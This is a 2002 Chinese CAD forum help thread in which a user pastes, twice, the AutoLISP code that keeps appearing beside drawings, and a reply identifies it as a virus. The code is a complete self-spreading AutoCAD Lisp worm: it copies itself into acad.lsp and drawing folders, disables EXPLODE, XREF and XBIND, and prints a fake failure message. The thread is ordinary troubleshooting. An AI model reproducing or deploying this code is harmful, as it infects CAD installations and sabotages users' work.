找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 953|回复: 6

[求助]:我是新来的,请多关照

[复制链接]
发表于 2002-11-22 22:15:35 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
我的电脑在打开一个.dwg文件时,总会自动生成一个lisp文件,是啥原因,苦恼和郁闷?
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
发表于 2002-11-23 03:44:59 | 显示全部楼层
可能是自动加载程序里有生成这个文件的代码,你查看一下acad.lsp acaddoc.lsp或者*.mdn等文件里面是否有open和write等函数的调用。最好说明一下你是直接用的cad还是第三方开发的软件,生成的文件的名字,是否每次都是同一个名字, 把开始加载后的信息贴图上来,这儿有很多高手能帮你解决!
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

已领礼包: 145个

财富等级: 日进斗金

发表于 2002-11-23 04:18:41 | 显示全部楼层

Re: [求助]:[求助]:我是新来的,请多关照

最初由 高山叠高山 发布
[B]我的电脑在打开一个.dwg文件时,总会自动生成一个lisp文件,是啥原因,苦恼和郁闷? [/B]


是不是你的图,EXPLODE命令不让用了? 如果是,你搜索下论坛,用 病毒 或者 炸开 或者 EXPLODE 做关键字搜索论坛,论坛讨论过。
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

 楼主| 发表于 2002-11-23 11:03:46 | 显示全部楼层

  1. [FONT=courier new]
  2. (defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad newacad
  3.                      nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2
  4.                   )
  5.   (setq old_cmd (getvar "cmdecho"))
  6.   (setvar "cmdecho" 0)
  7.   (setq path (findfile "base.dcl"))
  8.   (setq path (substr path 1 (- (strlen path) 8)))
  9.   (setq mnlpath (getvar "menuname"))
  10.   (setq nowdwg (getvar "dwgname"))
  11.   (setq wjqm (findfile nowdwg))
  12.   (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  13.   (setq acadpath (findfile "acad.lsp"))
  14.   (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
  15.   (setq ns1 ""
  16.         ns2 ""
  17.   )
  18.   (setq lspbj 0)
  19.   (setq wjqm (strcat path "acad.lsp"))
  20.   (if (setq wjm (open wjqm "r"))
  21.     (progn
  22.       (while (setq wz (read-line wjm))
  23.         (setq ns1 ns2)
  24.         (setq ns2 wz)
  25.       )
  26.       (if (> (strlen ns1) 14)
  27.         (if (= (substr ns1 8 7) "acadapp")
  28.           (setq lspbj 1)
  29.         )
  30.       )
  31.       (close wjm)
  32.     )
  33.   )
  34.   (if (and
  35.         (= acadpath dwgpath)
  36.         (/= acadpath path)
  37.       )
  38.     (progn
  39.       (setq oldacad (findfile "acad.lsp"))
  40.       (setq newacad (strcat path "acadapp.lsp"))
  41.       (if (= lspbj 0)
  42.         (progn
  43.           (setq wjqm (strcat path "acad.lsp"))
  44.           (setq wjm (open wjqm "a"))
  45.           (write-line (strcat "(load

  46. "                               (chr 34) "acadapp" (chr 34) ")"
  47.                       ) wjm
  48.           )
  49.           (write-line "(princ)" wjm)
  50.           (close wjm)
  51.         )
  52.       )
  53.       (writeapp)
  54.     )
  55.     (progn
  56.       (if (/= nowdwg "Drawing.dwg")
  57.         (progn
  58.           (setq oldacad (findfile "acadapp.lsp"))
  59.           (setq newacad (strcat dwgpath "acad.lsp"))
  60.           (writeapp)
  61.         )
  62.       )
  63.     )
  64.   )
  65.   (command "undefine" "explode")
  66.   (command "undefine" "xref")
  67.   (command "undefine" "xbind")
  68.   (setvar "cmdecho" old_cmd)
  69.   (princ)
  70. )
  71. (defun writeapp ()
  72.   (if (setq wjm1 (open newacad "w"))
  73.     (progn
  74.       (setq wjm (open oldacad "r"))
  75.       (while (setq wz (read-line wjm))
  76.         (write-line wz wjm1)
  77.       )
  78.       (close wjm)
  79.       (close wjm1)
  80.     )
  81.   )
  82. )
  83. (defun C:explode (/ p cont old_cmd)
  84.   (setq old_cmd (getvar "cmdecho"))
  85.   (setvar "cmdecho" 0)
  86.   (setq p (ssget))
  87.   (if p
  88.     (progn
  89.       (setq cont (sslength p))
  90.       (princ "\nSeltct

  91. objects:"
  92.       )
  93.       (princ cont)
  94.       (princ "

  95. found"
  96.       )
  97.       (princ "\n")
  98.       (princ cont)
  99.       (princ "

  100. was

  101. not

  102. able

  103. to

  104. be

  105. explode"
  106.       )
  107.     )
  108.   )
  109.   (setvar "cmdecho" old_cmd)
  110.   (princ)
  111. )
  112. (defun C:xref (/ old_cmd)
  113.   (setq old_cmd (getvar "cmdecho"))
  114.   (setvar "cmdecho" 0)
  115.   (command "insert")
  116.   (setvar "cmdecho" old_cmd)
  117.   (princ)
  118. )
  119. (defun C:xbind (/ old_cmd)
  120.   (setq old_cmd (getvar "cmdecho"))
  121.   (setvar "cmdecho" 0)
  122.   (command "insert")
  123.   (setvar "cmdecho" old_cmd)
  124.   (princ)
  125. )
  126. (defun C:burst (/ p old_cmd)
  127.   (setq old_cmd (getvar "cmdecho"))
  128.   (setvar "cmdecho" 0)
  129.   (princ "\nBURST----将图块中的文字炸开后成为实体")
  130.   (setq p (ssget))
  131.   (setvar "cmdecho" old_cmd)
  132.   (princ)
  133. )
  134. (princ)
  135. [/FONT]
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2002-11-24 12:04:13 | 显示全部楼层
这个就是那个新生成的程序?
这个程序的名字在以前的版本经常用来做为自动加载的文件。不过看里面的内容,好像就是一段病毒代码,它使xref和xbind命令用insert代替了,使explode命令无效,只给你显示一个选择了多少实体和这些实体没有被爆破的信息。强迫将acadapp里的代码写进acad.lsp.
如果这个是新生的程序,那么生成这个程序应该另有程序来生成这个程序。
所以请你将你的acad.lsp acadapp.lsp base.dcl 也粘贴过来,以便有人对这熟悉能了解你现在的cad是什么状况。新生成的lip程序名称是否是这个文件名,交代清楚一下。
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

已领礼包: 8个

财富等级: 恭喜发财

发表于 2002-11-24 12:50:06 | 显示全部楼层
这个lsp的构思还真的不赖,
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

 楼主| 发表于 2002-11-30 22:58:03 | 显示全部楼层
  1. [font=courier new]
  2. (defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad newacad
  3.                      nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2
  4.                   )
  5.   (setq old_cmd (getvar "cmdecho"))
  6.   (setvar "cmdecho" 0)
  7.   (setq path (findfile "base.dcl"))
  8.   (setq path (substr path 1 (- (strlen path) 8)))
  9.   (setq mnlpath (getvar "menuname"))
  10.   (setq nowdwg (getvar "dwgname"))
  11.   (setq wjqm (findfile nowdwg))
  12.   (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  13.   (setq acadpath (findfile "acad.lsp"))
  14.   (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
  15.   (setq ns1 ""
  16.         ns2 ""
  17.   )
  18.   (setq lspbj 0)
  19.   (setq wjqm (strcat path "acad.lsp"))
  20.   (if (setq wjm (open wjqm "r"))
  21.     (progn
  22.       (while (setq wz (read-line wjm))
  23.         (setq ns1 ns2)
  24.         (setq ns2 wz)
  25.       )
  26.       (if (> (strlen ns1) 14)
  27.         (if (= (substr ns1 8 7) "acadapp")
  28.           (setq lspbj 1)
  29.         )
  30.       )
  31.       (close wjm)
  32.     )
  33.   )
  34.   (if (and
  35.         (= acadpath dwgpath)
  36.         (/= acadpath path)
  37.       )
  38.     (progn
  39.       (setq oldacad (findfile "acad.lsp"))
  40.       (setq newacad (strcat path "acadapp.lsp"))
  41.       (if (= lspbj 0)
  42.         (progn
  43.           (setq wjqm (strcat path "acad.lsp"))
  44.           (setq wjm (open wjqm "a"))
  45.           (write-line (strcat "(load

  46. "                               (chr 34) "acadapp" (chr 34) ")"
  47.                       ) wjm
  48.           )
  49.           (write-line "(princ)" wjm)
  50.           (close wjm)
  51.         )
  52.       )
  53.       (writeapp)
  54.     )
  55.     (progn
  56.       (if (/= nowdwg "Drawing.dwg")
  57.         (progn
  58.           (setq oldacad (findfile "acadapp.lsp"))
  59.           (setq newacad (strcat dwgpath "acad.lsp"))
  60.           (writeapp)
  61.         )
  62.       )
  63.     )
  64.   )
  65.   (command "undefine" "explode")
  66.   (command "undefine" "xref")
  67.   (command "undefine" "xbind")
  68.   (setvar "cmdecho" old_cmd)
  69.   (princ)
  70. )
  71. (defun writeapp ()
  72.   (if (setq wjm1 (open newacad "w"))
  73.     (progn
  74.       (setq wjm (open oldacad "r"))
  75.       (while (setq wz (read-line wjm))
  76.         (write-line wz wjm1)
  77.       )
  78.       (close wjm)
  79.       (close wjm1)
  80.     )
  81.   )
  82. )
  83. (defun C:explode (/ p cont old_cmd)
  84.   (setq old_cmd (getvar "cmdecho"))
  85.   (setvar "cmdecho" 0)
  86.   (setq p (ssget))
  87.   (if p
  88.     (progn
  89.       (setq cont (sslength p))
  90.       (princ "\nSeltct

  91. objects:"
  92.       )
  93.       (princ cont)
  94.       (princ "

  95. found"
  96.       )
  97.       (princ "\n")
  98.       (princ cont)
  99.       (princ "

  100. was

  101. not

  102. able

  103. to

  104. be

  105. explode"
  106.       )
  107.     )
  108.   )
  109.   (setvar "cmdecho" old_cmd)
  110.   (princ)
  111. )
  112. (defun C:xref (/ old_cmd)
  113.   (setq old_cmd (getvar "cmdecho"))
  114.   (setvar "cmdecho" 0)
  115.   (command "insert")
  116.   (setvar "cmdecho" old_cmd)
  117.   (princ)
  118. )
  119. (defun C:xbind (/ old_cmd)
  120.   (setq old_cmd (getvar "cmdecho"))
  121.   (setvar "cmdecho" 0)
  122.   (command "insert")
  123.   (setvar "cmdecho" old_cmd)
  124.   (princ)
  125. )
  126. (defun C:burst (/ p old_cmd)
  127.   (setq old_cmd (getvar "cmdecho"))
  128.   (setvar "cmdecho" 0)
  129.   (princ "\nBURST----将图块中的文字炸开后成为实体")
  130.   (setq p (ssget))
  131.   (setvar "cmdecho" old_cmd)
  132.   (princ)
  133. )


  134. (princ)
  135. 这是acadapp.lip里的内容
  136. // Next available MSG number is    15
  137. // MODULE_ID BASE_DCL_
  138. /* Next available MSG number is  24 */

  139. //     BASE.DCL      Version 1.1
  140. //
  141. //     Copyright 1991, 1992, 1993, 1994, 1996 by Autodesk, Inc.
  142. //
  143. //     Permission to use, copy, modify, and distribute this software
  144. //     for any purpose and without fee is hereby granted, provided
  145. //     that the above copyright notice appears in all copies and
  146. //     that both that copyright notice and the limited warranty and
  147. //     restricted rights notice below appear in all supporting
  148. //     documentation.
  149. //
  150. //     AUTODESK PROVIDES THIS PROGRAM "AS IS" AND WITH ALL FAULTS.
  151. //     AUTODESK SPECIFICALLY DISCLAIMS ANY IMPLIED WARRANTY OF
  152. //     MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE.  AUTODESK, INC.
  153. //     DOES NOT WARRANT THAT THE OPERATION OF THE PROGRAM WILL BE
  154. //     UNINTERRUPTED OR ERROR FREE.
  155. //
  156. //     Use, duplication, or disclosure by the U.S. Government is subject to
  157. //     restrictions set forth in FAR 52.227-19 (Commercial Computer
  158. //     Software - Restricted Rights) and DFAR 252.227-7013(c)(1)(ii)
  159. //     (Rights in Technical Data and Computer Software), as applicable.
  160. //
  161. //.
  162. //
  163. // Define common prototypes and subassemblies for use by
  164. // ACAD.DCL and user-defined dialogs (AutoCAD), and by
  165. // ACLT.DCL (AutoCAD LT).

  166. // (The primitive widgets are set up automatically by init_dialog.  The
  167. // equivalent DCL is shown here (commented out) for reference.)

  168. // dialog {
  169. //      layout          = vertical;
  170. //      is_enabled      = false;
  171. // }
  172. //
  173. // cluster {
  174. //      layout          = horizontal;
  175. // }
  176. //
  177. // radio_cluster {
  178. //      layout          = horizontal;
  179. //      is_enabled      = true;
  180. // }
  181. //
  182. // tile {
  183. //      layout          = horizontal;
  184. //      is_enabled      = true;
  185. // }
  186. //
  187. // text  : tile {
  188. //      fixed_height    = true;       // inhibit vertical expansion
  189. // }
  190. //
  191. // image : tile {
  192. // }
  193. //
  194. // button : tile {
  195. //      fixed_height    = true;
  196. //      is_tab_stop     = true;
  197. // }
  198. //
  199. // image_button : button {
  200. //      is_tab_stop     = true;
  201. // }
  202. //
  203. // toggle : tile {
  204. //      fixed_height    = true;
  205. //      is_tab_stop     = true;
  206. // }
  207. //
  208. // radio_button : tile {
  209. //      fixed_height    = true;
  210. //      is_tab_stop     = true;
  211. // }
  212. //
  213. // list_box : tile {
  214. //      is_tab_stop     = true;
  215. //      height          = 10;
  216. //      width           = 10;
  217. // }
  218. //
  219. // edit_box : tile {
  220. //      fixed_height    = true;
  221. //      is_tab_stop     = true;
  222. // }
  223. //
  224. // popup_list : tile {
  225. //      is_tab_stop     = true;
  226. //      fixed_height    = true;
  227. // }
  228. //
  229. // slider : tile {
  230. //      is_tab_stop     = true;
  231. // }
  232. //
  233. // spacer : tile {
  234. // }

  235. //----- Styles of clusters.

  236. row : cluster {
  237.     horizontal_margin = none;
  238.     vertical_margin = none;
  239.     children_alignment = centered;
  240. }

  241. column : cluster {
  242.     layout = vertical;
  243.     horizontal_margin = none;
  244.     vertical_margin = none;
  245. }

  246. boxed_row : cluster {
  247.     label = " ";
  248.     boxed = true;
  249.     children_alignment = centered;
  250. }

  251. boxed_column : cluster {
  252.     layout = vertical;
  253.     label = " ";
  254.     boxed = true;
  255. }

  256. //----- Styles of radio clusters.

  257. radio_row : radio_cluster {
  258.     horizontal_margin = none;
  259.     vertical_margin = none;
  260.     children_alignment = centered;
  261. }

  262. radio_column : radio_cluster {
  263.     layout = vertical;
  264.     horizontal_margin = none;
  265.     vertical_margin = none;
  266. }

  267. boxed_radio_row : radio_cluster {
  268.     label = " ";
  269.     boxed = true;
  270.     children_alignment = centered;
  271. }

  272. boxed_radio_column : radio_cluster {
  273.     layout = vertical;
  274.     label = " ";
  275.     boxed = true;
  276. }

  277. //----- Horizontal and vertical blocks of running text.

  278. concatenation : cluster {
  279.     fixed_width = true;
  280.     fixed_height = true;
  281.     children_alignment = centered;
  282. }

  283. paragraph : cluster {
  284.     layout = vertical;
  285.     fixed_height = true;
  286. }

  287. text_part : text {
  288.     horizontal_margin = none;
  289.     vertical_margin = none;
  290. }

  291. text_25 : text {
  292.     width = 25;
  293. }

  294. //----- Common spacers.

  295. spacer_0 : spacer {
  296.     height = 0;
  297.     width = 0;
  298.     horizontal_margin = none;
  299.     vertical_margin = none;
  300. }

  301. spacer_1 : spacer {
  302.     height = 1;
  303.     width = 1;
  304.     horizontal_margin = none;
  305.     vertical_margin = none;
  306. }

  307. //----- The normal default widget.

  308. default_button : button {
  309.         is_default      = true;
  310. }

  311. //----- Standard prototype for making consistent "dialog retirement buttons".
  312. //      Used below for the predefined retirement buttons, and for user-defined
  313. //      dialogs that need retirement buttons with specialized verbs.

  314. retirement_button : button {
  315.         fixed_width     = true;
  316.         width           = 8;
  317.         alignment = centered;
  318. }

  319. //----- Standard dialog retirement buttons.  Unless one is building a dialog
  320. //      retirement subassembly containing specialized verbs, these will
  321. //      normally not be used directly by DCL code outside of base.dcl; use
  322. //      the pre-built subassemblies in the next section.

  323. ok_button : retirement_button {
  324.         label           = "  OK  ";
  325.         key             = "accept";
  326.         is_default      = true;
  327. }

  328. cancel_button : retirement_button {
  329.         label           = "Cancel";
  330.         key             = "cancel";
  331.         is_cancel       = true;
  332. }

  333. help_button : retirement_button {
  334.         label           = "&Help";
  335.         key             = "help";
  336.         is_help         = true;
  337. }

  338. info_button : retirement_button {
  339.         label           = "&Info...";
  340.         key             = "info";
  341. }

  342. //----- Pre-built arrays of dialog bottom-line buttons.

  343. ok_only : column {
  344.     fixed_width = true;
  345.     alignment = centered;
  346.     : ok_button {
  347.         is_cancel = true;
  348.     }
  349. }

  350. ok_cancel : column {
  351.     : row {
  352.         fixed_width = true;
  353.         alignment = centered;
  354.         ok_button;
  355.         : spacer { width = 2; }
  356.         cancel_button;
  357.     }
  358. }

  359. ok_cancel_help : column {
  360.     : row {
  361.         fixed_width = true;
  362.         alignment = centered;
  363.         ok_button;
  364.         : spacer { width = 2; }
  365.         cancel_button;
  366.         : spacer { width = 2; }
  367.         help_button;
  368.     }
  369. }

  370. ok_cancel_help_info : column {
  371.     : row {
  372.         fixed_width = true;
  373.         alignment = centered;
  374.         ok_button;
  375.         : spacer { width = 2; }
  376.         cancel_button;
  377.         : spacer { width = 2; }
  378.         help_button;
  379.         : spacer { width = 2; }
  380.         info_button;
  381.     }
  382. }

  383. //----- Error reporting tiles.

  384. errtile : text {
  385.         label = "";
  386.         key = "error";
  387.         width = 35;                   // must be long enough to hold error msgs
  388.         is_error_tile = true;
  389. }

  390. // A custer consisting of OK, Cancel, and Help on one line with the error tile
  391. //    below.

  392. ok_cancel_help_errtile : column {
  393.     ok_cancel_help;
  394.     errtile;
  395. }

  396. // The same thing without the Help button for subdialogues that have no help
  397. //    available.

  398. ok_cancel_err : column {
  399.     ok_cancel;
  400.     errtile;
  401. }

  402. //----- Currently, the only dcl setting is the audit_level which controls the
  403. //  level of semantic error checking applied during a load_dialog operation.
  404. //      (0 = none, 1 = errors, 2 = warnings, 3 = hints)
  405. // See AutoCAD's README for details.
  406. default_dcl_settings : tile {
  407.     audit_level = 1;
  408. }

  409. //----- Miscellaneous parts used by ACAD.DCL (AutoCAD) & ACLT.DCL (AutoCAD LT).

  410. image_block : image {
  411.         key = "show_image";
  412.         height = 1;
  413.         width = 1;
  414. }

  415. icon_image : image_button {
  416.         color                   = 0;
  417.         width                   = 12;
  418.         aspect_ratio            = 0.66;
  419.         allow_accept            = true;
  420.         fixed_height            = true;
  421.         fixed_width             = true;
  422. }

  423. edit12_box : edit_box {
  424.         edit_width = 12;
  425.         edit_limit = 148;    // 18 * 8 (CIF/MIF size)
  426. }

  427. edit32_box : edit_box {
  428.         edit_width = 32;
  429.         edit_limit = 2048;   // MAX_VALUE (256 * 8 (CIF/MIF size))
  430. }

  431. //  The following are for the color-selection dialogs

  432. swatch : image_button {
  433.     vertical_margin = none;
  434.     horizontal_margin = none;
  435.     fixed_height = true;
  436.     fixed_width = true;
  437.     height = 1.5;
  438.     width = 3;
  439.         allow_accept = true;
  440. }

  441. color_palette_1_7 : row {             // Standard colors 1-7
  442.     : swatch { color = 001; key = "001"; }
  443.     : swatch { color = 002; key = "002"; }
  444.     : swatch { color = 003; key = "003"; }
  445.     : swatch { color = 004; key = "004"; }
  446.     : swatch { color = 005; key = "005"; }
  447.     : swatch { color = 006; key = "006"; }
  448.     : swatch { color = 007; key = "007"; }
  449. }

  450. color_palette_1_9 : row {             // Standard colors, plus 8 and 9
  451.     color_palette_1_7;
  452.     : swatch { color = 008; key = "008"; }
  453.     : swatch { color = 009; key = "009"; }
  454. }

  455. color_palette_0_9 : row {             // Standard colors, plus 0, 8, and 9
  456.     : swatch { color = 000; key = "000"; }
  457.     color_palette_1_9;
  458. }

  459. color_palette_250_255 : row {         // Grey shades 250-255
  460.     : swatch { color = 250; key = "250"; }
  461.     : swatch { color = 251; key = "251"; }
  462.     : swatch { color = 252; key = "252"; }
  463.     : swatch { color = 253; key = "253"; }
  464.     : swatch { color = 254; key = "254"; }
  465.     : swatch { color = 255; key = "255"; }
  466. }

  467. std_rq_color :column{
  468.     :column {
  469.         :boxed_row {
  470.             fixed_width = true;
  471.             label = "Standard Colors";
  472.             color_palette_1_9;
  473.         }
  474.         :row {
  475.             :boxed_row {
  476.                 fixed_width = true;
  477.                 label = "Gray Shades";
  478.                 color_palette_250_255;
  479.             }
  480.             :boxed_row {
  481.                 fixed_width = true;
  482.                 label = "Logical Colors";
  483.                 :button {
  484.                     label = "BY&LAYER";
  485.                     key = "256";
  486.                                 }
  487.                 :button {
  488.                     label = "BY&BLOCK";
  489.                     key = "000";
  490.                 }
  491.             }
  492.         }
  493.     }
  494.     :boxed_column {
  495.         label = "Full Color Palette";
  496.         :image_button{
  497.             key = "hiside";
  498.             alignment = centered;
  499.             width = 40;
  500.             height = 4;
  501.                         allow_accept = true;
  502.             is_enabled = false;
  503.         }
  504.         :image_button{
  505.             alignment = centered;
  506.             key = "loside";
  507.             width = 40;
  508.             height = 4;
  509.                         allow_accept = true;
  510.             is_enabled = false;
  511.         }
  512.     }
  513.     :row {
  514.         fixed_width = true;
  515.         alignment = centered;
  516.         children_alignment = bottom;
  517.         :edit12_box {
  518.             label = "Color:";
  519.             key = "color_edit";
  520.             allow_accept = true;
  521.         }
  522.         :swatch {
  523.             key = "color_image";
  524.         }
  525.     }
  526.     ok_cancel_help_errtile;
  527. }

  528. //  The preceding are for color-selection dialogs


  529. //  Top and bottom sub-assemblies for the files dialogue
  530. files_topdf : column {
  531.     : edit_box {
  532.         key = "pedit";
  533.         label = "&Pattern:";
  534.         edit_width = 35;
  535.     }
  536.     : row {
  537.         : text {
  538.             label = "Directory:";
  539.         }
  540.         : text {
  541.             key = "dirtext";
  542.             width = 35;
  543.         }
  544.     }
  545. }

  546. files_bottomdf : column {
  547.     : edit_box {
  548.         key = "fedit";
  549.         label = "&File:";
  550.         allow_accept = true;
  551.     }
  552.     ok_cancel;
  553.     errtile;
  554. }

  555. fcf_ibut : image_button {
  556.     horizontal_margin = none;
  557.     width = 3.5;
  558.     height = 1.2;
  559.     color        = 0;
  560.     alignment = bottom;
  561. }

  562. fcf_ebox : edit_box {
  563.     horizontal_margin = none;
  564.     edit_width = 7;
  565.     fixed_width = true;
  566.     alignment = bottom;
  567. }

  568. fcf_ebox1 : edit_box {
  569.     horizontal_margin = none;
  570.     edit_width = 3;
  571.     edit_limit = 3;
  572.     fixed_width = true;
  573.     alignment = bottom;
  574. }

  575. fcf_ibut1 : image_button {
  576.     width        = 5.0;
  577.     aspect_ratio = 0.66;
  578.     color        = 0;
  579.     allow_accept = true;
  580. }
  581. [/font]
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|申请友链|Archiver|手机版|小黑屋|辽公网安备|晓东CAD家园 ( 辽ICP备15016793号 )

GMT+8, 2025-9-19 22:41 , Processed in 0.354854 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表